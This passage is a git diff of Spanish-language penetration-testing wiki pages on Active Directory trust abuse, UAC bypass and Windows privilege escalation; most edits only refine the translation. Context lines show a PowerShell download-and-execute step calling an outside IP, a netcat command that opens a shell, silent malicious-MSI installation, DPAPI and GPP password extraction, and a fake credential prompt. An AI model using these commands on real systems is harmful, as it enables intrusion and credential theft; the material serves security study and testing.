llevar a acceso no autorizado y control sobre los nuevos objetos AD creados. +Este método requiere paciencia, esperando la creación de nuevos objetos AD privilegiados. Con privilegios de SYSTEM, un atacante puede modificar el Esquema de AD para otorgar a cualquier usuario control total sobre todas las clases. Esto podría llevar a acceso no autorizado y control sobre objetos AD recién creados. -Más lectura está disponible sobre [Schema Change Trust Attacks](https://improsec.com/tech-blog/sid-filter-as-security-boundary-between-domains-part-6-schema-change-trust-attack-from-child-to-parent). +Lectura adicional está disponible sobre [Schema Change Trust Attacks](https://improsec.com/tech-blog/sid-filter-as-security-boundary-between-domains-part-6-schema-change-trust-attack-from-child-to-parent). **De DA a EA con ADCS ESC5** @@ -648,7 +648,7 @@ external-forest-domain-one-way-outbound.md Otra forma de comprometer el dominio confiado es encontrar un [**enlace SQL confiado**](abusing-ad-mssql.md#mssql-trusted-links) creado en la **dirección opuesta** de la confianza del dominio (lo cual no es muy común). Otra forma de comprometer el dominio confiado es esperar en una máquina donde un **usuario del dominio confiado pueda acceder** para iniciar sesión a través de **RDP**. Luego, el atacante podría inyectar código en el proceso de sesión RDP y **acceder al dominio de origen de la víctima** desde allí.\ -Además, si la **víctima montó su disco duro**, desde el proceso de **sesión RDP** el atacante podría almacenar **backdoors** en la **carpeta de inicio del disco duro**. Esta técnica se llama **RDPInception.** +Además, si la **víctima montó su disco duro**, desde el proceso de sesión **RDP**, el atacante podría almacenar **backdoors** en la **carpeta de inicio del disco duro**. Esta técnica se llama **RDPInception.** {{#ref}} rdp-sessions-abuse.md @@ -664,7 +664,7 @@ rdp-sessions-abuse.md ### **Autenticación Selectiva:** - Para las confianzas inter-forestales, emplear la Autenticación Selectiva asegura que los usuarios de los dos bosques no sean autenticados automáticamente. En su lugar, se requieren permisos explícitos para que los usuarios accedan a dominios y servidores dentro del dominio o bosque que confía. -- Es importante notar que estas medidas no protegen contra la explotación del Contexto de Nombres de Configuración (NC) escribible o ataques a la cuenta de confianza. +- Es importante señalar que estas medidas no protegen contra la explotación del Contexto de Nombres de Configuración (NC) escribible o ataques a la cuenta de confianza. [**Más información sobre las confianzas de dominio en ired.team.**](https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/child-domain-da-to-ea-in-parent-domain) diff --git a/src/windows-hardening/authentication-credentials-uac-and-efs/uac-user-account-control.md b/src/windows-hardening/authentication-credentials-uac-and-efs/uac-user-account-control.md index fd7b41340..876d1aed6 100644 --- a/src/windows-hardening/authentication-credentials-uac-and-efs/uac-user-account-control.md +++ b/src/windows-hardening/authentication-credentials-uac-and-efs/uac-user-account-control.md @@ -4,7 +4,7 @@ ## UAC -[Control de Cuentas de Usuario (UAC)](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/how-user-account-control-works) es una función que permite un **mensaje de consentimiento para actividades elevadas**. Las aplicaciones tienen diferentes niveles de `integridad`, y un programa con un **alto nivel** puede realizar tareas que **podrían comprometer potencialmente el sistema**. Cuando UAC está habilitado, las aplicaciones y tareas siempre **se ejecutan bajo el contexto de seguridad de una cuenta no administrativa** a menos que un administrador autorice explícitamente a estas aplicaciones/tareas para tener acceso a nivel de administrador al sistema para ejecutarse. Es una función de conveniencia que protege a los administradores de cambios no intencionados, pero no se considera un límite de seguridad. +[Control de Cuentas de Usuario (UAC)](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/how-user-account-control-works) es una función que permite un **mensaje de consentimiento para actividades elevadas**. Las aplicaciones tienen diferentes niveles de `integridad`, y un programa con un **alto nivel** puede realizar tareas que **podrían comprometer potencialmente el sistema**. Cuando UAC está habilitado, las aplicaciones y tareas siempre **se ejecutan bajo el contexto de seguridad de una cuenta no administrativa** a menos que un administrador autorice explícitamente a estas aplicaciones/tareas a tener acceso de nivel administrativo al sistema para ejecutarse. Es una función de conveniencia que protege a los administradores de cambios no intencionados, pero no se considera un límite de seguridad. Para más información sobre los niveles de integridad: @@ -33,7 +33,7 @@ Esta [página](https://docs.microsoft.com/en-us/windows/security/identity-protec Algunos programas son **autoelevados automáticamente** si el **usuario pertenece** al **grupo de administradores**. Estos binarios tienen dentro de sus _**Manifiestos**_ la opción _**autoElevate**_ con valor _**True**_. El binario también debe estar **firmado por Microsoft**. -Luego, para **eludir** el **UAC** (elevar de **nivel de integridad medio** a **alto**) algunos atacantes utilizan este tipo de binarios para **ejecutar código arbitrario** porque se ejecutará desde un **proceso de alta integridad**. +Luego, para **eludir** el **UAC** (elevar de **nivel** de integridad **medio** a **alto**) algunos atacantes utilizan este tipo de binarios para **ejecutar código arbitrario** porque se ejecutará desde un **proceso de alta integridad**. Puedes **verificar** el _**Manifiesto**_ de un binario usando la herramienta _**sigcheck.exe**_ de Sysinternals. Y puedes **ver** el **nivel de integridad** de los procesos usando _Process Explorer_ o _Process Monitor_ (de Sysinternals). @@ -71,8 +71,8 @@ Si **`0`**(predeterminado), la **cuenta de Administrador incorporado puede** rea #### Resumen - Si `EnableLUA=0` o **no existe**, **sin UAC para nadie** -- Si `EnableLua=1` y **`LocalAccountTokenFilterPolicy=1`, Sin UAC para nadie** -- Si `EnableLua=1` y **`LocalAccountTokenFilterPolicy=0` y `FilterAdministratorToken=0`, Sin UAC para RID 500 (Administrador incorporado)** +- Si `EnableLua=1` y **`LocalAccountTokenFilterPolicy=1`, sin UAC para nadie** +- Si `EnableLua=1` y **`LocalAccountTokenFilterPolicy=0` y `FilterAdministratorToken=0`, sin UAC para RID 500 (Administrador incorporado)** - Si `EnableLua=1` y **`LocalAccountTokenFilterPolicy=0` y `FilterAdministratorToken=1`, UAC para todos** Toda esta información se puede recopilar utilizando el módulo **metasploit**: `post/windows/gather/win_privs` @@ -85,15 +85,15 @@ whoami /groups | findstr Level ## Bypass de UAC > [!NOTE] -> Tenga en cuenta que si tiene acceso gráfico a la víctima, el bypass de UAC es sencillo, ya que simplemente puede hacer clic en "Sí" cuando aparezca el aviso de UAC. +> Tenga en cuenta que si tiene acceso gráfico a la víctima, el bypass de UAC es directo, ya que simplemente puede hacer clic en "Sí" cuando aparece el aviso de UAC. El bypass de UAC es necesario en la siguiente situación: **el UAC está activado, su proceso se está ejecutando en un contexto de integridad media y su usuario pertenece al grupo de administradores**. Es importante mencionar que es **mucho más difícil eludir el UAC si está en el nivel de seguridad más alto (Siempre) que si está en cualquiera de los otros niveles (Predeterminado).** -### UAC desactivado +### UAC deshabilitado -Si el UAC ya está desactivado (`ConsentPromptBehaviorAdmin` es **`0`**) puede **ejecutar un shell inverso con privilegios de administrador** (nivel de integridad alto) utilizando algo como: +Si el UAC ya está deshabilitado (`ConsentPromptBehaviorAdmin` es **`0`**) puede **ejecutar un shell inverso con privilegios de administrador** (nivel de integridad alto) utilizando algo como: ```bash #Put your reverse shell instead of "calc.exe" Start-Process powershell -Verb runAs "calc.exe" @@ -131,16 +131,16 @@ runasadmin uac-token-duplication powershell.exe -nop -w hidden -c "IEX ((new-obj # Bypass UAC with CMSTPLUA COM interface runasadmin uac-cmstplua powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://10.10.5.120:80/b'))" ``` -**Empire** y **Metasploit** también tienen varios módulos para **eludir** el **UAC**. +**Empire** y **Metasploit** también tienen varios módulos para **bypassear** el **UAC**. ### KRBUACBypass Documentación y herramienta en [https://github.com/wh0amitz/KRBUACBypass](https://github.com/wh0amitz/KRBUACBypass) -### Explotaciones de elusión de UAC +### Explotaciones de bypass de UAC -[**UACME** ](https://github.com/hfiref0x/UACME) que es una **compilación** de varias explotaciones de elusión de UAC. Ten en cuenta que necesitarás **compilar UACME usando visual studio o msbuild**. La compilación creará varios ejecutables (como `Source\Akagi\outout\x64\Debug\Akagi.exe`), necesitarás saber **cuál necesitas.**\ -Debes **tener cuidado** porque algunas elusiones **solicitarán algunos otros programas** que **alertarán** al **usuario** que algo está sucediendo. +[**UACME** ](https://github.com/hfiref0x/UACME) que es una **compilación** de varias explotaciones de bypass de UAC. Ten en cuenta que necesitarás **compilar UACME usando visual studio o msbuild**. La compilación creará varios ejecutables (como `Source\Akagi\outout\x64\Debug\Akagi.exe`), necesitarás saber **cuál necesitas.**\ +Debes **tener cuidado** porque algunos bypasses **solicitarán algunos otros programas** que **alertarán** al **usuario** que algo está sucediendo. UACME tiene la **versión de compilación desde la cual cada técnica comenzó a funcionar**. Puedes buscar una técnica que afecte tus versiones: ``` @@ -150,7 +150,7 @@ Major Minor Build Revision ----- ----- ----- -------- 10 0 14393 0 ``` -También, usando [this](https://en.wikipedia.org/wiki/Windows_10_version_history) página obtienes la versión de Windows `1607` de las versiones de compilación. +También, usando [esta](https://en.wikipedia.org/wiki/Windows_10_version_history) página obtienes la versión de Windows `1607` de las versiones de compilación. #### Más bypass de UAC @@ -174,10 +174,10 @@ Si no te importa ser ruidoso, siempre podrías **ejecutar algo como** [**https:/ ### Tu propio bypass - Metodología básica de bypass de UAC -Si echas un vistazo a **UACME** notarás que **la mayoría de los bypass de UAC abusan de una vulnerabilidad de Dll Hijacking** (principalmente escribiendo el dll malicioso en _C:\Windows\System32_). [Lee esto para aprender cómo encontrar una vulnerabilidad de Dll Hijacking](../windows-local-privilege-escalation/dll-hijacking/). +Si echas un vistazo a **UACME** notarás que **la mayoría de los bypass de UAC abusan de una vulnerabilidad de Dll Hijacking** (principalmente escribiendo el dll malicioso en _C:\Windows\System32_). [Lee esto para aprender cómo encontrar una vulnerabilidad de Dll Hijacking](../windows-local-privilege-escalation/dll-hijacking/index.html). 1. Encuentra un binario que **autoelevate** (verifica que cuando se ejecuta, se ejecute en un nivel de integridad alto). -2. Con procmon encuentra eventos "**NAME NOT FOUND**" que pueden ser vulnerables a **DLL Hijacking**. +2. Con procmon encuentra eventos "**NOMBRE NO ENCONTRADO**" que puedan ser vulnerables a **DLL Hijacking**. 3. Probablemente necesitarás **escribir** el DLL dentro de algunas **rutas protegidas** (como C:\Windows\System32) donde no tienes permisos de escritura. Puedes eludir esto usando: 1. **wusa.exe**: Windows 7, 8 y 8.1. Permite extraer el contenido de un archivo CAB dentro de rutas protegidas (porque esta herramienta se ejecuta desde un nivel de integridad alto). 2. **IFileOperation**: Windows 10. diff --git a/src/windows-hardening/windows-local-privilege-escalation/README.md b/src/windows-hardening/windows-local-privilege-escalation/README.md index 0d56311f3..1c16cd936 100644 --- a/src/windows-hardening/windows-local-privilege-escalation/README.md +++ b/src/windows-hardening/windows-local-privilege-escalation/README.md @@ -114,7 +114,7 @@ Stop-Transcript Los detalles de las ejecuciones de la tubería de PowerShell se registran, abarcando comandos ejecutados, invocaciones de comandos y partes de scripts. Sin embargo, los detalles completos de la ejecución y los resultados de salida pueden no ser capturados. -Para habilitar esto, sigue las instrucciones en la sección "Archivos de transcripción" de la documentación, eligiendo **"Module Logging"** en lugar de **"Powershell Transcription"**. +Para habilitar esto, sigue las instrucciones en la sección "Transcript files" de la documentación, eligiendo **"Module Logging"** en lugar de **"Powershell Transcription"**. ```bash reg query HKCU\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging reg query HKLM\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging @@ -182,11 +182,11 @@ Básicamente, este es el defecto que explota este error: > > Además, dado que el servicio WSUS utiliza la configuración del usuario actual, también utilizará su almacén de certificados. Si generamos un certificado autofirmado para el nombre de host de WSUS y añadimos este certificado al almacén de certificados del usuario actual, podremos interceptar tanto el tráfico WSUS HTTP como HTTPS. WSUS no utiliza mecanismos similares a HSTS para implementar una validación de tipo confianza-en-el-primer-uso en el certificado. Si el certificado presentado es confiable por el usuario y tiene el nombre de host correcto, será aceptado por el servicio. -Puedes explotar esta vulnerabilidad usando la herramienta [**WSUSpicious**](https://github.com/GoSecure/wsuspicious) (una vez que esté liberada). +Puedes explotar esta vulnerabilidad utilizando la herramienta [**WSUSpicious**](https://github.com/GoSecure/wsuspicious) (una vez que esté liberada). ## KrbRelayUp -Una vulnerabilidad de **escalada de privilegios local** existe en entornos **de dominio** de Windows bajo condiciones específicas. Estas condiciones incluyen entornos donde **la firma LDAP no se aplica,** los usuarios poseen derechos propios que les permiten configurar **Delegación Constrainida Basada en Recursos (RBCD),** y la capacidad de los usuarios para crear computadoras dentro del dominio. Es importante notar que estos **requisitos** se cumplen utilizando **configuraciones predeterminadas**. +Una **vulnerabilidad de escalación de privilegios local** existe en entornos **de dominio** de Windows bajo condiciones específicas. Estas condiciones incluyen entornos donde **la firma LDAP no se aplica,** los usuarios poseen derechos propios que les permiten configurar **Delegación Constrainida Basada en Recursos (RBCD),** y la capacidad de los usuarios para crear computadoras dentro del dominio. Es importante notar que estos **requisitos** se cumplen utilizando **configuraciones predeterminadas**. Encuentra el **exploit en** [**https://github.com/Dec0ne/KrbRelayUp**](https://github.com/Dec0ne/KrbRelayUp) @@ -241,11 +241,11 @@ create-msi-with-wix.md - Haz doble clic en **Carpeta de Aplicación**, selecciona tu archivo **beacon.exe** y haz clic en **Aceptar**. Esto asegurará que el payload beacon se ejecute tan pronto como se ejecute el instalador. - En las **Propiedades de Acción Personalizada**, cambia **Run64Bit** a **True**. - Finalmente, **compílalo**. -- Si aparece la advertencia `File 'beacon-tcp.exe' targeting 'x64' is not compatible with the project's target platform 'x86'`, asegúrate de establecer la plataforma en x64. +- Si aparece la advertencia `File 'beacon-tcp.exe' targeting 'x64' is not compatible with the project's target platform 'x86'`, asegúrate de haber configurado la plataforma a x64. ### Instalación de MSI -Para ejecutar la **instalación** del archivo `.msi` malicioso en **segundo plano:** +Para ejecutar la **instalación** del archivo malicioso `.msi` en **segundo plano:** ``` msiexec /quiet /qn /i C:\Users\Steve.INFERNO\Downloads\alwe.msi ``` @@ -296,7 +296,7 @@ reg query 'HKLM\System\CurrentControlSet\Control\LSA' /v LsaCfgFlags ### Credenciales en Caché **Las credenciales de dominio** son autenticadas por la **Autoridad de Seguridad Local** (LSA) y utilizadas por los componentes del sistema operativo. Cuando los datos de inicio de sesión de un usuario son autenticados por un paquete de seguridad registrado, las credenciales de dominio para el usuario se establecen típicamente.\ -[**Más información sobre Credenciales en Caché aquí**](../stealing-credentials/credentials-protections.md#cached-credentials). +[**Más información sobre las Credenciales en Caché aquí**](../stealing-credentials/credentials-protections.md#cached-credentials). ```bash reg query "HKEY_LOCAL_MACHINE\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\WINLOGON" /v CACHEDLOGONSCOUNT ``` @@ -359,7 +359,7 @@ powershell -command "Get-Clipboard" ### Permisos de Archivos y Carpetas Primero que nada, listar los procesos **verifica si hay contraseñas dentro de la línea de comando del proceso**.\ -Verifica si puedes **sobrescribir algún binario en ejecución** o si tienes permisos de escritura en la carpeta del binario para explotar posibles [**ataques de DLL Hijacking**](dll-hijacking/): +Verifica si puedes **sobrescribir algún binario en ejecución** o si tienes permisos de escritura en la carpeta del binario para explotar posibles [**ataques de DLL Hijacking**](dll-hijacking/index.html): ```bash Tasklist /SVC #List processes running and services tasklist /v /fi "username eq system" #Filter "system" processes @@ -381,7 +381,7 @@ icacls "%%z" ) ) ``` -**Verificando los permisos de las carpetas de los binarios de los procesos (**[**DLL Hijacking**](dll-hijacking/)**)** +**Comprobando los permisos de las carpetas de los binarios de los procesos (**[**DLL Hijacking**](dll-hijacking/index.html)**)** ```bash for /f "tokens=2 delims='='" %%x in ('wmic process list full^|find /i "executablepath"^|find /i /v "system32"^|find ":"') do for /f eol^=^"^ delims^=^" %%y in ('echo %%x') do ( @@ -443,7 +443,7 @@ sc config SSDPSRV obj= ".\LocalSystem" password= "" ``` **Tenga en cuenta que el servicio upnphost depende de SSDPSRV para funcionar (para XP SP1)** -**Otra solución alternativa** a este problema es ejecutar: +**Otra solución alternativa** de este problema es ejecutar: ``` sc.exe config usosvc start= auto ``` @@ -474,7 +474,7 @@ Para la detección y explotación de esta vulnerabilidad, se puede utilizar el _ ### Permisos débiles de los binarios de servicios -**Verifica si puedes modificar el binario que es ejecutado por un servicio** o si tienes **permisos de escritura en la carpeta** donde se encuentra el binario ([**DLL Hijacking**](dll-hijacking/))**.**\ +**Verifica si puedes modificar el binario que es ejecutado por un servicio** o si tienes **permisos de escritura en la carpeta** donde se encuentra el binario ([**DLL Hijacking**](dll-hijacking/index.html))**.**\ Puedes obtener cada binario que es ejecutado por un servicio usando **wmic** (no en system32) y verificar tus permisos usando **icacls**: ```bash for /f "tokens=2 delims='='" %a in ('wmic service list full^|find /i "pathname"^|find /i /v "system32"') do @echo %a >> %temp%\perm.txt @@ -555,7 +555,7 @@ Windows permite a los usuarios especificar acciones a tomar si un servicio falla ### Aplicaciones Instaladas -Verifica **los permisos de los binarios** (quizás puedas sobrescribir uno y escalar privilegios) y de las **carpetas** ([DLL Hijacking](dll-hijacking/)). +Verifica **los permisos de los binarios** (quizás puedas sobrescribir uno y escalar privilegios) y de las **carpetas** ([DLL Hijacking](dll-hijacking/index.html)). ```bash dir /a "C:\Program Files" dir /a "C:\Program Files (x86)" @@ -664,7 +664,7 @@ Get-NetNeighbor -AddressFamily IPv4 | ft ifIndex,IPAddress,L [**Consulta esta página para comandos relacionados con el Firewall**](../basic-cmd-for-pentesters.md#firewall) **(listar reglas, crear reglas, desactivar, desactivar...)** -Más [comandos para enumeración de red aquí](../basic-cmd-for-pentesters.md#network) +Más[ comandos para enumeración de red aquí](../basic-cmd-for-pentesters.md#network) ### Subsistema de Windows para Linux (wsl) ```bash @@ -673,7 +673,7 @@ C:\Windows\System32\wsl.exe ``` El binario `bash.exe` también se puede encontrar en `C:\Windows\WinSxS\amd64_microsoft-windows-lxssbash_[...]\bash.exe` -Si obtienes el usuario root, puedes escuchar en cualquier puerto (la primera vez que uses `nc.exe` para escuchar en un puerto, te preguntará a través de la GUI si se debe permitir `nc` por el firewall). +Si obtienes el usuario root, puedes escuchar en cualquier puerto (la primera vez que uses `nc.exe` para escuchar en un puerto, te preguntará a través de la GUI si `nc` debe ser permitido por el firewall). ```bash wsl whoami ./ubuntun1604.exe config --default-user root @@ -700,12 +700,12 @@ reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v AltDef ``` ### Administrador de credenciales / Bóveda de Windows -Desde [https://www.neowin.net/news/windows-7-exploring-credential-manager-and-windows-vault](https://www.neowin.net/news/windows-7-exploring-credential-manager-and-windows-vault)\ +From [https://www.neowin.net/news/windows-7-exploring-credential-manager-and-windows-vault](https://www.neowin.net/news/windows-7-exploring-credential-manager-and-windows-vault)\ La Bóveda de Windows almacena credenciales de usuario para servidores, sitios web y otros programas que **Windows** puede **iniciar sesión en los usuarios automáticamente**. A primera vista, esto podría parecer que ahora los usuarios pueden almacenar sus credenciales de Facebook, credenciales de Twitter, credenciales de Gmail, etc., para que inicien sesión automáticamente a través de los navegadores. Pero no es así. La Bóveda de Windows almacena credenciales que Windows puede usar para iniciar sesión en los usuarios automáticamente, lo que significa que cualquier **aplicación de Windows que necesite credenciales para acceder a un recurso** (servidor o un sitio web) **puede hacer uso de este Administrador de Credenciales** y la Bóveda de Windows y usar las credenciales proporcionadas en lugar de que los usuarios ingresen el nombre de usuario y la contraseña todo el tiempo. -A menos que las aplicaciones interactúen con el Administrador de Credenciales, no creo que sea posible que usen las credenciales para un recurso dado. Así que, si tu aplicación quiere hacer uso de la bóveda, debería de alguna manera **comunicarse con el administrador de credenciales y solicitar las credenciales para ese recurso** desde la bóveda de almacenamiento predeterminada. +A menos que las aplicaciones interactúen con el Administrador de Credenciales, no creo que sea posible para ellas usar las credenciales para un recurso dado. Así que, si tu aplicación quiere hacer uso de la bóveda, debería de alguna manera **comunicarse con el administrador de credenciales y solicitar las credenciales para ese recurso** desde la bóveda de almacenamiento predeterminada. Usa `cmdkey` para listar las credenciales almacenadas en la máquina. ```bash @@ -715,7 +715,7 @@ Target: Domain:interactive=WORKGROUP\Administrator Type: Domain Password User: WORKGROUP\Administrator ``` -Luego puedes usar `runas` con las opciones `/savecred` para utilizar las credenciales guardadas. El siguiente ejemplo llama a un binario remoto a través de un recurso compartido SMB. +Luego puedes usar `runas` con la opción `/savecred` para utilizar las credenciales guardadas. El siguiente ejemplo llama a un binario remoto a través de un recurso compartido SMB. ```bash runas /savecred /user:WORKGROUP\Administrator "\\10.XXX.XXX.XXX\SHARE\evil.exe" ``` @@ -723,15 +723,15 @@ Usando `runas` con un conjunto de credenciales proporcionado. ```bash C:\Windows\System32\runas.exe /env /noprofile /user: "c:\users\Public\nc.exe -nc 4444 -e cmd.exe" ``` -Tenga en cuenta que mimikatz, lazagne, [credentialfileview](https://www.nirsoft.net/utils/credentials_file_view.html), [VaultPasswordView](https://www.nirsoft.net/utils/vault_password_view.html), o desde el [módulo Empire Powershell](https://github.com/EmpireProject/Empire/blob/master/data/module_source/credentials/dumpCredStore.ps1). +Note que mimikatz, lazagne, [credentialfileview](https://www.nirsoft.net/utils/credentials_file_view.html), [VaultPasswordView](https://www.nirsoft.net/utils/vault_password_view.html), o del [Empire Powershells module](https://github.com/EmpireProject/Empire/blob/master/data/module_source/credentials/dumpCredStore.ps1). ### DPAPI La **Interfaz de Programación de Aplicaciones de Protección de Datos (DPAPI)** proporciona un método para la encriptación simétrica de datos, utilizado predominantemente dentro del sistema operativo Windows para la encriptación simétrica de claves privadas asimétricas. Esta encriptación aprovecha un secreto de usuario o del sistema para contribuir significativamente a la entropía. -**DPAPI permite la encriptación de claves a través de una clave simétrica que se deriva de los secretos de inicio de sesión del usuario**. En escenarios que involucran la encriptación del sistema, utiliza los secretos de autenticación del dominio del sistema. +**DPAPI permite la encriptación de claves a través de una clave simétrica que se deriva de los secretos de inicio de sesión del usuario**. En escenarios que involucran encriptación del sistema, utiliza los secretos de autenticación del dominio del sistema. -Las claves RSA de usuario encriptadas, mediante DPAPI, se almacenan en el directorio `%APPDATA%\Microsoft\Protect\{SID}`, donde `{SID}` representa el [Identificador de Seguridad](https://en.wikipedia.org/wiki/Security_Identifier) del usuario. **La clave DPAPI, ubicada junto a la clave maestra que protege las claves privadas del usuario en el mismo archivo**, típicamente consiste en 64 bytes de datos aleatorios. (Es importante notar que el acceso a este directorio está restringido, impidiendo listar su contenido a través del comando `dir` en CMD, aunque se puede listar a través de PowerShell). +Las claves RSA de usuario encriptadas, al usar DPAPI, se almacenan en el directorio `%APPDATA%\Microsoft\Protect\{SID}`, donde `{SID}` representa el [Identificador de Seguridad](https://en.wikipedia.org/wiki/Security_Identifier) del usuario. **La clave DPAPI, ubicada junto a la clave maestra que protege las claves privadas del usuario en el mismo archivo**, típicamente consiste en 64 bytes de datos aleatorios. (Es importante notar que el acceso a este directorio está restringido, impidiendo listar su contenido a través del comando `dir` en CMD, aunque se puede listar a través de PowerShell). ```powershell Get-ChildItem C:\Users\USER\AppData\Roaming\Microsoft\Protect\ Get-ChildItem C:\Users\USER\AppData\Local\Microsoft\Protect\ @@ -754,7 +754,7 @@ dpapi-extracting-passwords.md ### Credenciales de PowerShell -Las **credenciales de PowerShell** se utilizan a menudo para **scripting** y tareas de automatización como una forma de almacenar credenciales encriptadas de manera conveniente. Las credenciales están protegidas usando **DPAPI**, lo que típicamente significa que solo pueden ser desencriptadas por el mismo usuario en la misma computadora en la que fueron creadas. +Las **credenciales de PowerShell** se utilizan a menudo para **scripting** y tareas de automatización como una forma de almacenar credenciales encriptadas de manera conveniente. Las credenciales están protegidas usando **DPAPI**, lo que generalmente significa que solo pueden ser desencriptadas por el mismo usuario en la misma computadora en la que fueron creadas. Para **desencriptar** unas credenciales de PS del archivo que las contiene, puedes hacer: ```powershell @@ -791,7 +791,7 @@ HKCU\\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\RunMRU %localappdata%\Microsoft\Remote Desktop Connection Manager\RDCMan.settings ``` Usa el módulo `dpapi::rdg` de **Mimikatz** con el `/masterkey` apropiado para **desencriptar cualquier archivo .rdg**\ -Puedes **extraer muchas claves maestras DPAPI** de la memoria con el módulo `sekurlsa::dpapi` de Mimikatz +Puedes **extraer muchas claves maestras de DPAPI** de la memoria con el módulo `sekurlsa::dpapi` de Mimikatz ### Sticky Notes @@ -884,7 +884,7 @@ $ErrorActionPreference = $OrigError ### SCClient / SCCM Verifique si `C:\Windows\CCM\SCClient.exe` existe.\ -Los instaladores se **ejecutan con privilegios de SYSTEM**, muchos son vulnerables a **DLL Sideloading (Info de** [**https://github.com/enjoiz/Privesc**](https://github.com/enjoiz/Privesc)**).** +Los instaladores se **ejecutan con privilegios de SYSTEM**, muchos son vulnerables a **DLL Sideloading (Información de** [**https://github.com/enjoiz/Privesc**](https://github.com/enjoiz/Privesc)**).** ```bash $result = Get-WmiObject -Namespace "root\ccm\clientSDK" -Class CCM_Application -Property * | select Name,SoftwareVersion if ($result) { $result } @@ -960,7 +960,7 @@ También puedes buscar estos archivos usando **metasploit**: _post/windows/gathe %SYSTEMROOT%\System32\config\SYSTEM %SYSTEMROOT%\System32\config\RegBack\system ``` -### Credenciales de la Nube +### Credenciales de Nube ```bash #From user home .aws\credentials @@ -976,9 +976,9 @@ Busca un archivo llamado **SiteList.xml** ### Cached GPP Pasword -Una función estaba disponible anteriormente que permitía el despliegue de cuentas de administrador local personalizadas en un grupo de máquinas a través de las Preferencias de Directiva de Grupo (GPP). Sin embargo, este método tenía fallos de seguridad significativos. En primer lugar, los Objetos de Directiva de Grupo (GPO), almacenados como archivos XML en SYSVOL, podían ser accedidos por cualquier usuario del dominio. En segundo lugar, las contraseñas dentro de estos GPP, cifradas con AES256 utilizando una clave predeterminada documentada públicamente, podían ser descifradas por cualquier usuario autenticado. Esto representaba un riesgo serio, ya que podría permitir a los usuarios obtener privilegios elevados. +Una función estaba disponible anteriormente que permitía el despliegue de cuentas de administrador local personalizadas en un grupo de máquinas a través de Group Policy Preferences (GPP). Sin embargo, este método tenía fallas de seguridad significativas. En primer lugar, los Group Policy Objects (GPOs), almacenados como archivos XML en SYSVOL, podían ser accedidos por cualquier usuario del dominio. En segundo lugar, las contraseñas dentro de estos GPPs, encriptadas con AES256 utilizando una clave predeterminada documentada públicamente, podían ser desencriptadas por cualquier usuario autenticado. Esto representaba un riesgo serio, ya que podría permitir a los usuarios obtener privilegios elevados. -Para mitigar este riesgo, se desarrolló una función para escanear archivos GPP almacenados localmente que contengan un campo "cpassword" que no esté vacío. Al encontrar tal archivo, la función descifra la contraseña y devuelve un objeto PowerShell personalizado. Este objeto incluye detalles sobre el GPP y la ubicación del archivo, ayudando en la identificación y remediación de esta vulnerabilidad de seguridad. +Para mitigar este riesgo, se desarrolló una función para escanear archivos GPP almacenados localmente que contengan un campo "cpassword" que no esté vacío. Al encontrar tal archivo, la función desencripta la contraseña y devuelve un objeto PowerShell personalizado. Este objeto incluye detalles sobre el GPP y la ubicación del archivo, ayudando en la identificación y remediación de esta vulnerabilidad de seguridad. Busca en `C:\ProgramData\Microsoft\Group Policy\history` o en _**C:\Documents and Settings\All Users\Application Data\Microsoft\Group Policy\history** (anterior a W Vista)_ estos archivos: @@ -989,7 +989,7 @@ Busca en `C:\ProgramData\Microsoft\Group Policy\history` o en _**C:\Documents an - Printers.xml - Drives.xml -**Para descifrar el cPassword:** +**Para desencriptar el cPassword:** ```bash #To decrypt these passwords you can decrypt it using gpp-decrypt j1Uyj3Vx8TY9LtLZil2uAuZkFQA/4latT76ZwgdHdhw @@ -998,7 +998,7 @@ Usando crackmapexec para obtener las contraseñas: ```bash crackmapexec smb 10.10.10.10 -u username -p pwd -M gpp_autologin ``` -### IIS Web Config +### Configuración de IIS Web ```powershell Get-Childitem –Path C:\inetpub\ -Include web.config -File -Recurse -ErrorAction SilentlyContinue ``` @@ -1052,7 +1052,7 @@ Get-Childitem –Path C:\ -Include access.log,error.log -File -Recurse -ErrorAct ``` ### Pedir credenciales -Puedes siempre **pedir al usuario que ingrese sus credenciales o incluso las credenciales de otro usuario** si crees que puede conocerlas (ten en cuenta que **pedir** al cliente directamente las **credenciales** es realmente **arriesgado**): +Siempre puedes **pedir al usuario que ingrese sus credenciales o incluso las credenciales de otro usuario** si crees que puede conocerlas (ten en cuenta que **pedir** al cliente directamente las **credenciales** es realmente **arriesgado**): ```bash $cred = $host.ui.promptforcredential('Failed Authentication','',[Environment]::UserDomainName+'\'+[Environment]::UserName,[Environment]::UserDomainName); $cred.getnetworkcredential().password $cred = $host.ui.promptforcredential('Failed Authentication','',[Environment]::UserDomainName+'\'+'anotherusername',[Environment]::UserDomainName); $cred.getnetworkcredential().password @@ -1168,9 +1168,9 @@ Herramientas para extraer contraseñas de navegadores: **Component Object Model (COM)** es una tecnología integrada en el sistema operativo Windows que permite la **intercomunicación** entre componentes de software de diferentes lenguajes. Cada componente COM es **identificado a través de un ID de clase (CLSID)** y cada componente expone funcionalidad a través de una o más interfaces, identificadas por IDs de interfaz (IIDs). -Las clases y interfaces COM se definen en el registro bajo **HKEY\_**_**CLASSES\_**_**ROOT\CLSID** y **HKEY\_**_**CLASSES\_**_**ROOT\Interface** respectivamente. Este registro se crea fusionando **HKEY\_**_**LOCAL\_**_**MACHINE\Software\Classes** + **HKEY\_**_**CURRENT\_**_**USER\Software\Classes** = **HKEY\_**_**CLASSES\_**_**ROOT.** +Las clases e interfaces COM se definen en el registro bajo **HKEY\_**_**CLASSES\_**_**ROOT\CLSID** y **HKEY\_**_**CLASSES\_**_**ROOT\Interface** respectivamente. Este registro se crea fusionando **HKEY\_**_**LOCAL\_**_**MACHINE\Software\Classes** + **HKEY\_**_**CURRENT\_**_**USER\Software\Classes** = **HKEY\_**_**CLASSES\_**_**ROOT.** -Dentro de los CLSIDs de este registro puedes encontrar el registro hijo **InProcServer32** que contiene un **valor predeterminado** que apunta a una **DLL** y un valor llamado **ThreadingModel** que puede ser **Apartment** (Un hilo), **Free** (Múltiples hilos), **Both** (Un hilo o múltiples) o **Neutral** (Hilo neutral). +Dentro de los CLSIDs de este registro puedes 